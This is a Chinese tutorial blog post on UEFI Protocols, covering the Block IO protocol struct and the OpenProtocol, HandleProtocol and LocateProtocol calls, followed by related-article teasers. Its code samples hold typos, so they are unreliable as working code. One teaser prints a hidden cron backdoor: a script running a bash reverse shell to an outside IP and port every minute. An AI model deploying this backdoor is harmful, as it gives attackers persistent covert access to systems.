UEFI Protocol

news2024/11/14 11:07:09

一、概述

在这里插入图片描述

二、Protocol的定义

1、Protocol是服务器端和客户端之间的一种约定,在软件编程上称为接口,服务器端和客户端通过这个约定信息的互通。
2、服务器端和客户端在UEFI中都是可执行的二进制文件。
3、为了实现这些二进制文件之间的互通,模块双方共同使Protocol进行双方的交互。

三、Protocol的作用

1、UEFI的中文含义是“ 可扩展固件接口”,所谓可扩展的含义就是可以在系统完成后(编译为binary)之后,再次为系统增加新的功能,而不用重新rebuild整个系统。

2、为了支持不同二进制组件运行时相互通信,不同组件可以相互调用之间的功能,同时各个组件相互之间调用时的统一编程接口以便方便组件厂商对于组件的开发等要求。Protocol用以实现这些功能的同时满足服务器端和客户端之间的通信。
在这里插入图片描述

三、Protocol的组成

举个例子:

struct _EFI_BLOCK_IO_PROTOCOL {
 
  UINT64              Revision;  //必须保证向后兼容的Protocol版本号 
  EFI_BLOCK_IO_MEDIA  *Media; //指针指向这个设备
 
  EFI_BLOCK_RESET     Reset;  //重置复位信号
 
  EFI_BLOCK_READ      ReadBlocks;  //读Protocol服务
 
  EFI_BLOCK_WRITE     WriteBlocks;  //写Protocol服务
 
  EFI_BLOCK_FLUSH     FlushBlocks;  //清除缓存服务
 
};
 
extern EFI_GUID gEfiBlockIoProtocolGuid;  //导出该Protocol

Protocol组成图:

在这里插入图片描述

四、Protocol的使用:

在这里插入图片描述

Protocol的使用:

第一步:通过gBS->OpenProtocol(或者HandleProtocol、LocateProtocol)找出Protocol的对象。
第二步:使用这个Protocol提供的服务。
第三步:通过gBS->CloseProtocol关闭打开的Protocol。

Protocol使用简介:

在这里插入图片描述

OpenProtocol函数原型:

在这里插入图片描述

// HandleProtocol:简化的OpenProtocol

typedef EFI_STATUS(EFIAPI *EFI_HANDLE_PROTOCOL)
{
IN EFI_HANDLE Handle, 	//指定的HANDLE,查询并安装
IN EFI_GUID *Prontocol, 	//要打开的Protocol(指向该Protocol GUID的指针)
OUT VOID **Interface, OPTIONAL 	//返回打开的对象
};


// HandleProtocol的实现

EFI_STATUS
HandleProtocol(
IN EFI_HANDLE Handle,
IN EFI_GUID *Prontocol, 
OUT VOID **Interface, OPTIONAL )
{
return OpenProcol (
Handle,
Protocol,
Interface,
EfiCoreImageHandle,
Null,
EFI_OPEN_PROTOCOL_BY_HANDLE_PROTOCOL
);
}

HandleProtocol返回值:

在这里插入图片描述

// LocateProtocol:USER定位Protocol的第一个实例
typedef EFI_STATUS(EFIAPI *EFI_LOCATE_PROTOCOL)
{
IN EFI_GUID *Protocol, //带查询的Protocol
IN VOID *Registration,OPTIONAL //可选参数,从RegisterProtocolNotify()获得key
OUT VOID **Interface //返回第一个匹配到的实例
}

// LocateHandleBuffer:支持某个Protocol的所以设备
typdef EFI_STATUS(EFIAPI* EFI_LOCATE_HANDLE_BUFFER)
{
IN EFI_LOCATE_SEARCH_TYPE SearchType, //查找方式函数有三种SearchType:1.AllHandles用于找到系统中的所有Handle;2.ByRegisterNotify用于在RegisterNotify中找出匹配SearchKey的Handle;3.ByProtocol用于从系统Handle数据库中找到支持指定Protocol的Handle。
IN EFI_GID *Protocol OPTIONAL, //指定的Protocol
IN VOID *Searchkey , //PROTOCOL_NOTIFY的类型
IN OUT UINT *NoHandle, //返回数量
OUT EFI_HANDLE *Buffer //分配Handle数组并返回
}

LocateProtocol返回值:

在这里插入图片描述

LocateHandleBuffer返回值:

在这里插入图片描述
在这里插入图片描述

参考文献:《UEFI原理与编程》戴正华著。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/420576.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

nginx反向代理_负载均衡的配置

说明 两台虚拟机: 88节点是自己的虚拟机 66节点是小组成员的虚拟机,我们暂且叫同学机 tomcat端口,分别为8081和8082 总结就是: 自己虚拟机上面安装nginx和tomcat8082 同学机上安装tomcat8081 一、开始安装nginx(只安装…

香港布局Web3.0 既是金融试探,也是未来战略

香港Web3.0协会成立的消息已在业内刷屏,作为跨业界的非盈利机构,该协会致力于促进Web3.0生态环境的建设,港府特首李家超和北京中央驻港联络办公室部分领导均出席了成立典礼。 李家超在致辞中表示,Web3.0的发展正值黄金起点&#x…

Vue随记

1、Vue模板语法 Vue模板语法有两大类: 1.1、插值语法 功能:用于解析标签体内容。 写法:{{xxxx}},xxxx是js表达式,且可以直接读取到data中的所有属性。 1.2、指令语法 功能:用于解析标签(包…

《鸟哥的Linux私房菜-基础篇》学习笔记

主要用来记录学习,如果能帮助到你那最好了。 数据流重导向 概念 cat /etc/crontab /etc/vbirdsay 标准输出:将cat的文件输出到屏幕上 标准错误输出:无法找到文件报错 *系统会将标准输出和标注错误输出都输出到屏幕上,看着比较乱…

Vue双向数据绑定原理

一. Vue双向数据绑定原理 Vue.js的双向绑定是通过响应式原理实现的。响应式原理就是当数据发生改变时,自动更新相关的视图和数据。下面是Vue.js双向绑定的详细解释和介绍: Vue.js通过 Object.defineProperty() 将数据对象的属性值绑定到对应的DOM元素上…

【数据结构启航!】数据结构开胃菜之顺序表

【数据结构启航!】数据结构开胃菜之顺序表一、线性表简介二、目标三、实现1、初始化工作2、顺序表的尾插2.1、图解原理2.2、代码实现3、顺序表的尾删3.1、图解原理3.2、代码实现4、打印顺序表5、顺序表的增容6、顺序表的头插6.1、图解原理6.2、代码实现7、顺序表的头…

Javascript cookie和session

在网站中,http请求是无状态的,当我们与服务端做一次数据请求,请求完毕后,第二次数据请求服务器端仍然不知道是哪个用户,cookie的出现就是为了解决这个问题。 一 Session与Cookie的区别 1 相同点 它们都是用于存…

实战打靶集锦-016-lampiao

提示:本文记录了博主打靶过程中一次曲折的提权经历 文章1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 80端口探查4.2 1898端口探查4.3 EXP搜索4.3.1 exploit/unix/webapp/drupal_coder_exec4.3.2 exploit/unix/webapp/drupal_drupalgeddon25. 提权5.1 系统信息…

RayVentory crack,RayVentory扫描引擎

RayVentory crack,RayVentory扫描引擎 RayVentory扫描引擎12.5.3581.73[更新2] libcurl.dll库现在使用Raynet证书进行了签名,为用户增加了额外的安全层。 对设备更新过程进行了显著改进,特别是在同时扫描具有大型数据库的多个设备时。这确保了数据的一致…

雪花算法ID冲突问题与解决方案

分布式部署应用项目采用雪花算法生成ID有冲突问题: 方案一:给应用分配随机 datacenter-id和 worker-id 如下图: global-config:db-config:logic-delete-field: del_flaglogic-delete-value: 1 # 逻辑已删除值(默认为 1)logic-not-delete-…

用友开发者中心应用构建实践指引(二):如何实现入职申请单功能?

用友开发者中心应用构建实践指引(二):如何实现入职申请单功能? 在上一篇文章《用友开发者中心应用构建实践指引!》中,我们完成了应聘人员信息登记的配置,实现了面试者提交应聘信息,…

内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

【C++ 一】C++ 入门

C 入门 文章目录C 入门前言1 C 初识1.1 第一个C程序1.1.1 创建项目1.1.2 创建文件1.1.3 编写代码1.1.4 运行程序1.2 注释1.3 变量1.4 常量1.5 关键字1.6 标识符命名规则2 数据类型2.1 整型2.2 sizeof 关键字2.3 实型(浮点型)2.4 字符型2.5 转义字符2.6 字…

appium自动化测试完整项目

前言 Appium是一个开源的自动化测试框架,支持跨平台,支持多种编程语言,可用于原生,混合和移动web应用程序,使用webdriver驱动ios,android应用程序、那么为了学习app自动化测试首要任务肯定就是搭建测试开发…

数据治理的核心框架和六大思维

请点击↑关注、收藏,本博客免费为你获取精彩知识分享!有惊喜哟!! 数据成为新的生产力,必将引发数据生产关系的变革,而数据治理体系就代表着新的生产关系。近日发布的《广东省数据要素市场化配置改革理论研…

尚融宝18-JWT令牌和测试

目录 一、访问令牌的类型 (一)reference token(透明令牌) (二)value token(自包含令牌) 二、JWT令牌 (一)什么是JWT令牌 (二)JWT令牌的组成 (三)JWT的…

java 25

练习一: package com.shhfg.ds;public class HelloWorld01 {public static void main(String[] args) {/* 需求:给你一个整数 a如果 a 是一个回文整数,打印true,否则,还回false。解释:回文数是指正序(从左到…

kaggle竞赛-Stable Diffusion数据分析与baseline

你的目的是来预测我们生成图像的提示词 1.比赛目标 这个竞赛的目标不是从文本提示生成图像,而是创建一个模型,可以在给定生成图像的情况下预测文本提示(你有一堆提示词,你预测是否该提示词参与了图像的生成)?您将在…

百度智能云对象存储BOS批量下载文件方法

百度智能云对象存储BOS支持批量打包下载吗?目前对象存储BOS浏览器端不支持批量下载,可以使用对象存储BOS桌面或BOSCMD批量下载,也可以使用API/SDK调用接口循环下载。新手站长网来详细说下百度云对象存储BOS批量下载的方法: 目录 …

计算机网络 实验二

⭐计网实验专栏,欢迎订阅与关注! ★观前提示:本篇内容为计算机网络实验。内容可能会不符合每个人实验的要求,因此以下内容建议仅做思路参考。 一、实验目的 (1)掌握IP地址的基本结构(网络部分与主机部分的…